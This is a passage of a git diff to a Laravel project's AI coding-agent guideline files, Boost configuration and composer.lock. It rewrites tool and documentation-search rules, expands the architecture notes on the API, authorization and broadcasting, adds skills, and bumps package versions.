-- Use multiple, broad, simple, topic-based queries at once. For example: `['rate limiting', 'routing rate limiting', 'routing']`. The most relevant results will be returned first.
-- Do not add package names to queries; package information is already shared. For example, use `test resource table`, not `filament 4 test resource table`.
-
-### Available Search Syntax
-
-1. Simple Word Searches with auto-stemming - query=authentication - finds 'authenticate' and 'auth'.
-2. Multiple Words (AND Logic) - query=rate limit - finds knowledge containing both "rate" AND "limit".
-3. Quoted Phrases (Exact Position) - query="infinite scroll" - words must be adjacent and in that order.
-4. Mixed Queries - query=middleware "rate limit" - "middleware" AND exact phrase "rate limit".
-5. Multiple Queries - queries=["authentication", "middleware"] - ANY of these terms.
+- Execute PHP in app context for debugging and testing code. Do not create models without user approval, prefer tests with factories instead. Prefer existing Artisan commands over custom tinker code.
+- Always use single quotes to prevent shell expansion: `php artisan tinker --execute 'Your::code();'`
+ - Double quotes for PHP strings inside: `php artisan tinker --execute 'User::where("active", true)->count();'`
=== php rules ===
# PHP
- Always use curly braces for control structures, even for single-line bodies.
-
-## Constructors
-
-- Use PHP 8 constructor property promotion in `__construct()`.
- - public function __construct(public GitHub $github) { }
-- Do not allow empty `__construct()` methods with zero parameters unless the constructor is private.
-
-## Type Declarations
-
-- Always use explicit return type declarations for methods and functions.
-- Use appropriate PHP type hints for method parameters.
-
-
-protected function isAccessible(User $user, ?string $path = null): bool
-{
- ...
-}
-
-
-## Enums
-
-- Typically, keys in an Enum should be TitleCase. For example: `FavoritePerson`, `BestLake`, `Monthly`.
-
-## Comments
-
-- Prefer PHPDoc blocks over inline comments. Never use comments within the code itself unless the logic is exceptionally complex.
-
-## PHPDoc Blocks
-
-- Add useful array shape type definitions when appropriate.
+- Use PHP 8 constructor property promotion: `public function __construct(public GitHub $github) { }`. Do not leave empty zero-parameter `__construct()` methods unless the constructor is private.
+- Use explicit return type declarations and type hints for all method parameters: `function isAccessible(User $user, ?string $path = null): bool`
+- Use TitleCase for Enum keys: `FavoritePerson`, `BestLake`, `Monthly`.
+- Prefer PHPDoc blocks over inline comments. Only add inline comments for exceptionally complex logic.
+- Use array shape type definitions in PHPDoc blocks.
=== tests rules ===
@@ -151,47 +133,22 @@ # Test Enforcement
# Do Things the Laravel Way
-- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using the `list-artisan-commands` tool.
+- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using `php artisan list` and check their parameters with `php artisan [command] --help`.
- If you're creating a generic PHP class, use `php artisan make:class`.
- Pass `--no-interaction` to all Artisan commands to ensure they work without user input. You should also pass the correct `--options` to ensure correct behavior.
-## Database
-
-- Always use proper Eloquent relationship methods with return type hints. Prefer relationship methods over raw queries or manual joins.
-- Use Eloquent models and relationships before suggesting raw database queries.
-- Avoid `DB::`; prefer `Model::query()`. Generate code that leverages Laravel's ORM capabilities rather than bypassing them.
-- Generate code that prevents N+1 query problems by using eager loading.
-- Use Laravel's query builder for very complex database operations.
-
### Model Creation
-- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `list-artisan-commands` to check the available options to `php artisan make:model`.
+- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `php artisan make:model --help` to check the available options.
-### APIs & Eloquent Resources
+## APIs & Eloquent Resources
- For APIs, default to using Eloquent API Resources and API versioning unless existing API routes do not, then you should follow existing application convention.
-## Controllers & Validation
-
-- Always create Form Request classes for validation rather than inline validation in controllers. Include both validation rules and custom error messages.
-- Check sibling Form Requests to see if the application uses array or string based validation rules.
-
-## Authentication & Authorization
-
-- Use Laravel's built-in authentication and authorization features (gates, policies, Sanctum, etc.).
-
## URL Generation
- When generating links to other pages, prefer named routes and the `route()` function.
-## Queues
-
-- Use queued jobs for time-consuming operations with the `ShouldQueue` interface.
-
-## Configuration
-
-- Use environment variables only in configuration files - never use the `env()` function directly outside of config files. Always use `config('app.name')`, not `env('APP_NAME')`.
-
## Testing
- When creating models for tests, use the factories for the models. Check if the factory has custom states that can be used before manually setting up the model.
@@ -232,16 +189,15 @@ ### Models
# Livewire
-- Livewire allows you to build dynamic, reactive interfaces using only PHP — no JavaScript required.
-- Instead of writing frontend code in JavaScript frameworks, you use Alpine.js to build the UI when client-side interactions are required.
-- State lives on the server; the UI reflects it. Validate and authorize in actions (they're like HTTP requests).
-- IMPORTANT: Activate `livewire-development` every time you're working with Livewire-related tasks.
+- Livewire allow to build dynamic, reactive interfaces in PHP without writing JavaScript.
+- You can use Alpine.js for client-side interactions instead of JavaScript frameworks.
+- Keep state server-side so the UI reflects it. Validate and authorize in actions as you would in HTTP requests.
=== pint/core rules ===
# Laravel Pint Code Formatter
-- You must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style.
+- If you have modified any PHP files, you must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style.
- Do not run `vendor/bin/pint --test --format agent`, simply run `vendor/bin/pint --format agent` to fix any formatting issues.
=== pest/core rules ===
@@ -251,22 +207,5 @@ ## Pest
- This project uses Pest for testing. Create tests: `php artisan make:test --pest {name}`.
- Run tests: `php artisan test --compact` or filter: `php artisan test --compact --filter=testName`.
- Do NOT delete tests without approval.
-- CRITICAL: ALWAYS use `search-docs` tool for version-specific Pest documentation and updated code examples.
-- IMPORTANT: Activate `pest-testing` every time you're working with a Pest or testing-related task.
-=== tailwindcss/core rules ===
-
-# Tailwind CSS
-
-- Always use existing Tailwind conventions; check project patterns before adding new ones.
-- IMPORTANT: Always use `search-docs` tool for version-specific Tailwind CSS documentation and updated code examples. Never rely on training data.
-- IMPORTANT: Activate `tailwindcss-development` every time you're working with a Tailwind CSS or styling-related task.
-
-=== laravel/fortify rules ===
-
-# Laravel Fortify
-
-- Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-- IMPORTANT: Always use the `search-docs` tool for detailed Laravel Fortify patterns and documentation.
-- IMPORTANT: Activate `developing-with-fortify` skill when working with Fortify authentication features.
diff --git a/CLAUDE.md b/CLAUDE.md
index 5dc2f7eee..99e996756 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -37,14 +37,33 @@ # Frontend
## Architecture
### Backend Structure (app/)
-- **Actions/** — Domain actions organized by area (Application, Database, Docker, Proxy, Server, Service, Shared, Stripe, User). Uses `lorisleiva/laravel-actions`.
-- **Livewire/** — All UI components (Livewire 3). Pages organized by domain: Server, Project, Settings, Notifications, etc. This is the primary UI layer — no traditional Blade controllers.
-- **Jobs/** — Queue jobs for deployments (`ApplicationDeploymentJob`), backups, Docker cleanup, server management, proxy configuration.
-- **Models/** — Eloquent models. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.).
-- **Services/** — Business logic services.
-- **Helpers/** — Global helper functions loaded via `bootstrap/includeHelpers.php`.
-- **Data/** — Spatie Laravel Data DTOs.
-- **Enums/** — PHP enums (TitleCase keys).
+- **Actions/** — Domain actions organized by area (Application, Database, Docker, Proxy, Server, Service, Shared, Stripe, User, CoolifyTask, Fortify). Uses `lorisleiva/laravel-actions` with `AsAction` trait — actions can be called as objects, dispatched as jobs, or used as controllers.
+- **Livewire/** — All UI components (Livewire 3). Pages organized by domain: Server, Project, Settings, Security, Notifications, Terminal, Subscription, SharedVariables. This is the primary UI layer — no traditional Blade controllers. Components listen to private team channels for real-time status updates via Soketi.
+- **Jobs/** — Queue jobs for deployments (`ApplicationDeploymentJob`), backups, Docker cleanup, server management, proxy configuration. Uses Redis queue with Horizon for monitoring.
+- **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`.
+- **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations.
+- **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`.
+- **Data/** — Spatie Laravel Data DTOs (e.g., `CoolifyTaskArgs`, `ServerMetadata`).
+- **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`.
+- **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.).
+
+### API Layer
+- REST API at `/api/v1/` with OpenAPI 3.0 attributes (`use OpenApi\Attributes as OA`) for auto-generated docs
+- Authentication via Laravel Sanctum with custom `ApiAbility` middleware for token abilities (read, write, deploy)
+- `ApiSensitiveData` middleware masks sensitive fields (IDs, credentials) in responses
+- API controllers in `app/Http/Controllers/Api/` use inline `Validator` (not Form Request classes)
+- Response serialization via `serializeApiResponse()` helper
+
+### Authorization
+- Policy-based authorization with ~15 model-to-policy mappings in `AuthServiceProvider`
+- Custom gates: `createAnyResource`, `canAccessTerminal`
+- Role hierarchy: `Role::MEMBER` (1) < `Role::ADMIN` (2) < `Role::OWNER` (3) with `lt()`/`gt()` comparison methods
+- Multi-tenancy via Teams — team auto-initializes notification settings on creation
+
+### Event Broadcasting
+- Soketi WebSocket server for real-time updates (ports 6001-6002 in dev)
+- Status change events: `ApplicationStatusChanged`, `ServiceStatusChanged`, `DatabaseStatusChanged`, `ProxyStatusChanged`
+- Livewire components subscribe to private team channels via `getListeners()`
### Key Domain Concepts
- **Server** — A managed host connected via SSH. Has settings, proxy config, and destinations.
@@ -61,7 +80,7 @@ ### Frontend
- Vite for asset bundling
### Laravel 10 Structure (NOT Laravel 11+ slim structure)
-- Middleware in `app/Http/Middleware/`
+- Middleware in `app/Http/Middleware/` — custom middleware includes `CheckForcePasswordReset`, `DecideWhatToDoWithUser`, `ApiAbility`, `ApiSensitiveData`
- Kernels: `app/Http/Kernel.php`, `app/Console/Kernel.php`
- Exception handler: `app/Exceptions/Handler.php`
- Service providers in `app/Providers/`
@@ -71,7 +90,7 @@ ## Key Conventions
- Use `php artisan make:*` commands with `--no-interaction` to create files
- Use Eloquent relationships, avoid `DB::` facade — prefer `Model::query()`
- PHP 8.4: constructor property promotion, explicit return types, type hints
-- Always create Form Request classes for validation
+- Validation uses inline `Validator` facade in controllers/Livewire components and custom rules in `app/Rules/` — not Form Request classes
- Run `vendor/bin/pint --dirty --format agent` before finalizing changes
- Every change must have tests — write or update tests, then run them. For bug fixes, follow TDD: write a failing test first, then fix the bug (see Test Enforcement below)
- Check sibling files for conventions before creating new files
@@ -93,14 +112,17 @@ ## Foundational Context
This application is a Laravel application and its main Laravel ecosystems package & versions are below. You are an expert with them all. Ensure you abide by these specific packages & versions.
-- php - 8.4.1
+- php - 8.5
- laravel/fortify (FORTIFY) - v1
- laravel/framework (LARAVEL) - v12
- laravel/horizon (HORIZON) - v5
+- laravel/nightwatch (NIGHTWATCH) - v1
+- laravel/pail (PAIL) - v1
- laravel/prompts (PROMPTS) - v0
- laravel/sanctum (SANCTUM) - v4
- laravel/socialite (SOCIALITE) - v5
- livewire/livewire (LIVEWIRE) - v3
+- laravel/boost (BOOST) - v2
- laravel/dusk (DUSK) - v8
- laravel/mcp (MCP) - v0
- laravel/pint (PINT) - v1
@@ -116,11 +138,15 @@ ## Skills Activation
This project has domain-specific skills available. You MUST activate the relevant skill whenever you work in that domain—don't wait until you're stuck.
-- `livewire-development` — Develops reactive Livewire 3 components. Activates when creating, updating, or modifying Livewire components; working with wire:model, wire:click, wire:loading, or any wire: directives; adding real-time updates, loading states, or reactivity; debugging component behavior; writing Livewire tests; or when the user mentions Livewire, component, counter, or reactive UI.
-- `pest-testing` — Tests applications using the Pest 4 PHP framework. Activates when writing tests, creating unit or feature tests, adding assertions, testing Livewire components, browser testing, debugging test failures, working with datasets or mocking; or when the user mentions test, spec, TDD, expects, assertion, coverage, or needs to verify functionality works.
-- `tailwindcss-development` — Styles applications using Tailwind CSS v4 utilities. Activates when adding styles, restyling components, working with gradients, spacing, layout, flex, grid, responsive design, dark mode, colors, typography, or borders; or when the user mentions CSS, styling, classes, Tailwind, restyle, hero section, cards, buttons, or any visual/UI changes.
-- `developing-with-fortify` — Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications.
-- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application.
+- `laravel-best-practices` — Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns.
+- `configuring-horizon` — Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching.
+- `socialite-development` — Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication.
+- `livewire-development` — Use for any task or question involving Livewire. Activate if user mentions Livewire, wire: directives, or Livewire-specific concepts like wire:model, wire:click, invoke this skill. Covers building new components, debugging reactivity issues, real-time form validation, loading states, migrating from Livewire 2 to 3, converting component formats (SFC/MFC/class-based), and performance optimization. Do not use for non-Livewire reactive UI (React, Vue, Alpine-only, Inertia.js) or standard Laravel forms without Livewire.
+- `pest-testing` — Use this skill for Pest PHP testing in Laravel projects only. Trigger whenever any test is being written, edited, fixed, or refactored — including fixing tests that broke after a code change, adding assertions, converting PHPUnit to Pest, adding datasets, and TDD workflows. Always activate when the user asks how to write something in Pest, mentions test files or directories (tests/Feature, tests/Unit, tests/Browser), or needs browser testing, smoke testing multiple pages for JS errors, or architecture tests. Covers: it()/expect() syntax, datasets, mocking, browser testing (visit/click/fill), smoke testing, arch(), Livewire component tests, RefreshDatabase, and all Pest 4 features. Do not use for factories, seeders, migrations, controllers, models, or non-test PHP code.
+- `tailwindcss-development` — Always invoke when the user's message includes 'tailwind' in any form. Also invoke for: building responsive grid layouts (multi-column card grids, product grids), flex/grid page structures (dashboards with sidebars, fixed topbars, mobile-toggle navs), styling UI components (cards, tables, navbars, pricing sections, forms, inputs, badges), adding dark mode variants, fixing spacing or typography, and Tailwind v3/v4 work. The core use case: writing or fixing Tailwind utility classes in HTML templates (Blade, JSX, Vue). Skip for backend PHP logic, database queries, API routes, JavaScript with no HTML/CSS component, CSS file audits, build tool configuration, and vanilla CSS.
+- `fortify-development` — ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.
+- `laravel-actions` — Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+- `debugging-output-and-previewing-html-using-ray` — Use when user says "send to Ray," "show in Ray," "debug in Ray," "log to Ray," "display in Ray," or wants to visualize data, debug output, or show diagrams in the Ray desktop application.
## Conventions
@@ -153,76 +179,51 @@ ## Replies
# Laravel Boost
-- Laravel Boost is an MCP server that comes with powerful tools designed specifically for this application. Use them.
+## Tools
+
+- Laravel Boost is an MCP server with tools designed specifically for this application. Prefer Boost tools over manual alternatives like shell commands or file reads.
+- Use `database-query` to run read-only queries against the database instead of writing raw SQL in tinker.
+- Use `database-schema` to inspect table structure before writing migrations or models.
+- Use `get-absolute-url` to resolve the correct scheme, domain, and port for project URLs. Always use this before sharing a URL with the user.
+- Use `browser-logs` to read browser logs, errors, and exceptions. Only recent logs are useful, ignore old entries.
+
+## Searching Documentation (IMPORTANT)
+
+- Always use `search-docs` before making code changes. Do not skip this step. It returns version-specific docs based on installed packages automatically.
+- Pass a `packages` array to scope results when you know which packages are relevant.
+- Use multiple broad, topic-based queries: `['rate limiting', 'routing rate limiting', 'routing']`. Expect the most relevant results first.
+- Do not add package names to queries because package info is already shared. Use `test resource table`, not `filament 4 test resource table`.
+
+### Search Syntax
+
+1. Use words for auto-stemmed AND logic: `rate limit` matches both "rate" AND "limit".
+2. Use `"quoted phrases"` for exact position matching: `"infinite scroll"` requires adjacent words in order.
+3. Combine words and phrases for mixed queries: `middleware "rate limit"`.
+4. Use multiple queries for OR logic: `queries=["authentication", "middleware"]`.
## Artisan
-- Use the `list-artisan-commands` tool when you need to call an Artisan command to double-check the available parameters.
+- Run Artisan commands directly via the command line (e.g., `php artisan route:list`). Use `php artisan list` to discover available commands and `php artisan [command] --help` to check parameters.
+- Inspect routes with `php artisan route:list`. Filter with: `--method=GET`, `--name=users`, `--path=api`, `--except-vendor`, `--only-vendor`.
+- Read configuration values using dot notation: `php artisan config:show app.name`, `php artisan config:show database.default`. Or read config files directly from the `config/` directory.
+- To check environment variables, read the `.env` file directly.
-## URLs
+## Tinker
-- Whenever you share a project URL with the user, you should use the `get-absolute-url` tool to ensure you're using the correct scheme, domain/IP, and port.
-
-## Tinker / Debugging
-
-- You should use the `tinker` tool when you need to execute PHP to debug code or query Eloquent models directly.
-- Use the `database-query` tool when you only need to read from the database.
-
-## Reading Browser Logs With the `browser-logs` Tool
-
-- You can read browser logs, errors, and exceptions using the `browser-logs` tool from Boost.
-- Only recent browser logs will be useful - ignore old logs.
-
-## Searching Documentation (Critically Important)
-
-- Boost comes with a powerful `search-docs` tool you should use before trying other approaches when working with Laravel or Laravel ecosystem packages. This tool automatically passes a list of installed packages and their versions to the remote Boost API, so it returns only version-specific documentation for the user's circumstance. You should pass an array of packages to filter on if you know you need docs for particular packages.
-- Search the documentation before making code changes to ensure we are taking the correct approach.
-- Use multiple, broad, simple, topic-based queries at once. For example: `['rate limiting', 'routing rate limiting', 'routing']`. The most relevant results will be returned first.
-- Do not add package names to queries; package information is already shared. For example, use `test resource table`, not `filament 4 test resource table`.
-
-### Available Search Syntax
-
-1. Simple Word Searches with auto-stemming - query=authentication - finds 'authenticate' and 'auth'.
-2. Multiple Words (AND Logic) - query=rate limit - finds knowledge containing both "rate" AND "limit".
-3. Quoted Phrases (Exact Position) - query="infinite scroll" - words must be adjacent and in that order.
-4. Mixed Queries - query=middleware "rate limit" - "middleware" AND exact phrase "rate limit".
-5. Multiple Queries - queries=["authentication", "middleware"] - ANY of these terms.
+- Execute PHP in app context for debugging and testing code. Do not create models without user approval, prefer tests with factories instead. Prefer existing Artisan commands over custom tinker code.
+- Always use single quotes to prevent shell expansion: `php artisan tinker --execute 'Your::code();'`
+ - Double quotes for PHP strings inside: `php artisan tinker --execute 'User::where("active", true)->count();'`
=== php rules ===
# PHP
- Always use curly braces for control structures, even for single-line bodies.
-
-## Constructors
-
-- Use PHP 8 constructor property promotion in `__construct()`.
- - public function __construct(public GitHub $github) { }
-- Do not allow empty `__construct()` methods with zero parameters unless the constructor is private.
-
-## Type Declarations
-
-- Always use explicit return type declarations for methods and functions.
-- Use appropriate PHP type hints for method parameters.
-
-
-protected function isAccessible(User $user, ?string $path = null): bool
-{
- ...
-}
-
-
-## Enums
-
-- Typically, keys in an Enum should be TitleCase. For example: `FavoritePerson`, `BestLake`, `Monthly`.
-
-## Comments
-
-- Prefer PHPDoc blocks over inline comments. Never use comments within the code itself unless the logic is exceptionally complex.
-
-## PHPDoc Blocks
-
-- Add useful array shape type definitions when appropriate.
+- Use PHP 8 constructor property promotion: `public function __construct(public GitHub $github) { }`. Do not leave empty zero-parameter `__construct()` methods unless the constructor is private.
+- Use explicit return type declarations and type hints for all method parameters: `function isAccessible(User $user, ?string $path = null): bool`
+- Use TitleCase for Enum keys: `FavoritePerson`, `BestLake`, `Monthly`.
+- Prefer PHPDoc blocks over inline comments. Only add inline comments for exceptionally complex logic.
+- Use array shape type definitions in PHPDoc blocks.
=== tests rules ===
@@ -231,61 +232,26 @@ # Test Enforcement
- Every change must be programmatically tested. Write a new test or update an existing test, then run the affected tests to make sure they pass.
- Run the minimum number of tests needed to ensure code quality and speed. Use `php artisan test --compact` with a specific filename or filter.
-## Bug Fix Workflow (TDD)
-
-When fixing a bug, follow this strict test-driven workflow:
-
-1. **Write a test first** that asserts the correct (expected) behavior — this test should reproduce the bug.
-2. **Run the test** and confirm it **fails**. If it passes, the test does not cover the bug — rewrite it.
-3. **Fix the bug** in the source code.
-4. **Re-run the exact same test without any modifications** and confirm it **passes**.
-5. **Never modify the test between steps 2 and 4.** The same test must go from red to green purely from the bug fix.
-
=== laravel/core rules ===
# Do Things the Laravel Way
-- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using the `list-artisan-commands` tool.
+- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using `php artisan list` and check their parameters with `php artisan [command] --help`.
- If you're creating a generic PHP class, use `php artisan make:class`.
- Pass `--no-interaction` to all Artisan commands to ensure they work without user input. You should also pass the correct `--options` to ensure correct behavior.
-## Database
-
-- Always use proper Eloquent relationship methods with return type hints. Prefer relationship methods over raw queries or manual joins.
-- Use Eloquent models and relationships before suggesting raw database queries.
-- Avoid `DB::`; prefer `Model::query()`. Generate code that leverages Laravel's ORM capabilities rather than bypassing them.
-- Generate code that prevents N+1 query problems by using eager loading.
-- Use Laravel's query builder for very complex database operations.
-
### Model Creation
-- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `list-artisan-commands` to check the available options to `php artisan make:model`.
+- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `php artisan make:model --help` to check the available options.
-### APIs & Eloquent Resources
+## APIs & Eloquent Resources
- For APIs, default to using Eloquent API Resources and API versioning unless existing API routes do not, then you should follow existing application convention.
-## Controllers & Validation
-
-- Always create Form Request classes for validation rather than inline validation in controllers. Include both validation rules and custom error messages.
-- Check sibling Form Requests to see if the application uses array or string based validation rules.
-
-## Authentication & Authorization
-
-- Use Laravel's built-in authentication and authorization features (gates, policies, Sanctum, etc.).
-
## URL Generation
- When generating links to other pages, prefer named routes and the `route()` function.
-## Queues
-
-- Use queued jobs for time-consuming operations with the `ShouldQueue` interface.
-
-## Configuration
-
-- Use environment variables only in configuration files - never use the `env()` function directly outside of config files. Always use `config('app.name')`, not `env('APP_NAME')`.
-
## Testing
- When creating models for tests, use the factories for the models. Check if the factory has custom states that can be used before manually setting up the model.
@@ -326,16 +292,15 @@ ### Models
# Livewire
-- Livewire allows you to build dynamic, reactive interfaces using only PHP — no JavaScript required.
-- Instead of writing frontend code in JavaScript frameworks, you use Alpine.js to build the UI when client-side interactions are required.
-- State lives on the server; the UI reflects it. Validate and authorize in actions (they're like HTTP requests).
-- IMPORTANT: Activate `livewire-development` every time you're working with Livewire-related tasks.
+- Livewire allow to build dynamic, reactive interfaces in PHP without writing JavaScript.
+- You can use Alpine.js for client-side interactions instead of JavaScript frameworks.
+- Keep state server-side so the UI reflects it. Validate and authorize in actions as you would in HTTP requests.
=== pint/core rules ===
# Laravel Pint Code Formatter
-- You must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style.
+- If you have modified any PHP files, you must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style.
- Do not run `vendor/bin/pint --test --format agent`, simply run `vendor/bin/pint --format agent` to fix any formatting issues.
=== pest/core rules ===
@@ -345,22 +310,5 @@ ## Pest
- This project uses Pest for testing. Create tests: `php artisan make:test --pest {name}`.
- Run tests: `php artisan test --compact` or filter: `php artisan test --compact --filter=testName`.
- Do NOT delete tests without approval.
-- CRITICAL: ALWAYS use `search-docs` tool for version-specific Pest documentation and updated code examples.
-- IMPORTANT: Activate `pest-testing` every time you're working with a Pest or testing-related task.
-=== tailwindcss/core rules ===
-
-# Tailwind CSS
-
-- Always use existing Tailwind conventions; check project patterns before adding new ones.
-- IMPORTANT: Always use `search-docs` tool for version-specific Tailwind CSS documentation and updated code examples. Never rely on training data.
-- IMPORTANT: Activate `tailwindcss-development` every time you're working with a Tailwind CSS or styling-related task.
-
-=== laravel/fortify rules ===
-
-# Laravel Fortify
-
-- Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
-- IMPORTANT: Always use the `search-docs` tool for detailed Laravel Fortify patterns and documentation.
-- IMPORTANT: Activate `developing-with-fortify` skill when working with Fortify authentication features.
diff --git a/boost.json b/boost.json
index 34b67ce76..13914521e 100644
--- a/boost.json
+++ b/boost.json
@@ -6,18 +6,23 @@
"opencode"
],
"guidelines": true,
- "herd_mcp": false,
"mcp": true,
+ "nightwatch_mcp": false,
"packages": [
"laravel/fortify",
- "spatie/laravel-ray"
+ "spatie/laravel-ray",
+ "lorisleiva/laravel-actions"
],
"sail": false,
"skills": [
+ "laravel-best-practices",
+ "configuring-horizon",
+ "socialite-development",
"livewire-development",
"pest-testing",
"tailwindcss-development",
- "developing-with-fortify",
+ "fortify-development",
+ "laravel-actions",
"debugging-output-and-previewing-html-using-ray"
]
}
diff --git a/composer.lock b/composer.lock
index 3a66fdd5a..91900aa95 100644
--- a/composer.lock
+++ b/composer.lock
@@ -62,16 +62,16 @@
},
{
"name": "aws/aws-sdk-php",
- "version": "3.371.3",
+ "version": "3.373.9",
"source": {
"type": "git",
"url": "https://github.com/aws/aws-sdk-php.git",
- "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065"
+ "reference": "a73e12fe5d010f3c6cda2f6f020b5a475444487d"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/d300ec1c861e52dc8f17ca3d75dc754da949f065",
- "reference": "d300ec1c861e52dc8f17ca3d75dc754da949f065",
+ "url": "https://api.github.com/repos/aws/aws-sdk-php/zipball/a73e12fe5d010f3c6cda2f6f020b5a475444487d",
+ "reference": "a73e12fe5d010f3c6cda2f6f020b5a475444487d",
"shasum": ""
},
"require": {
@@ -92,12 +92,12 @@
"aws/aws-php-sns-message-validator": "~1.0",
"behat/behat": "~3.0",
"composer/composer": "^2.7.8",
- "dms/phpunit-arraysubset-asserts": "^0.4.0",
+ "dms/phpunit-arraysubset-asserts": "^v0.5.0",
"doctrine/cache": "~1.4",
"ext-dom": "*",
"ext-openssl": "*",
"ext-sockets": "*",
- "phpunit/phpunit": "^9.6",
+ "phpunit/phpunit": "^10.0",
"psr/cache": "^2.0 || ^3.0",
"psr/simple-cache": "^2.0 || ^3.0",
"sebastian/comparator": "^1.2.3 || ^4.0 || ^5.0",
@@ -153,22 +153,22 @@
"support": {
"forum": "https://github.com/aws/aws-sdk-php/discussions",
"issues": "https://github.com/aws/aws-sdk-php/issues",
- "source": "https://github.com/aws/aws-sdk-php/tree/3.371.3"
+ "source": "https://github.com/aws/aws-sdk-php/tree/3.373.9"
},
- "time": "2026-02-27T19:05:40+00:00"
+ "time": "2026-03-24T18:06:07+00:00"
},
{
"name": "bacon/bacon-qr-code",
- "version": "v3.0.3",
+ "version": "v3.0.4",
"source": {
"type": "git",
"url": "https://github.com/Bacon/BaconQrCode.git",
- "reference": "36a1cb2b81493fa5b82e50bf8068bf84d1542563"
+ "reference": "3feed0e212b8412cc5d2612706744789b0615824"
},
"dist": {
"type": "zip",
- "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/36a1cb2b81493fa5b82e50bf8068bf84d1542563",
- "reference": "36a1cb2b81493fa5b82e50bf8068bf84d1542563",
+ "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/3feed0e212b8412cc5d2612706744789b0615824",
+ "reference": "3feed0e212b8412cc5d2612706744789b0615824",
"shasum": ""
},
"require": {
@@ -208,9 +208,9 @@
"homepage": "https://github.com/Bacon/BaconQrCode",
"support": {
"issues": "https://github.com/Bacon/BaconQrCode/issues",
- "source": "https://github.com/Bacon/BaconQrCode/tree/v3.0.3"
+ "source": "https://github.com/Bacon/BaconQrCode/tree/v3.0.4"
},
- "time": "2025-11-19T17:15:36+00:00"
+ "time": "2026-03-16T01:01:30+00:00"
},
{
"name": "brick/math",
@@ -343,27 +343,27 @@
},
{
"name": "danharrin/livewire-rate-limiting",
- "version": "v2.1.0",
+ "version": "v2.2.0",
"source": {
"type": "git",
"url": "https://github.com/danharrin/livewire-rate-limiting.git",
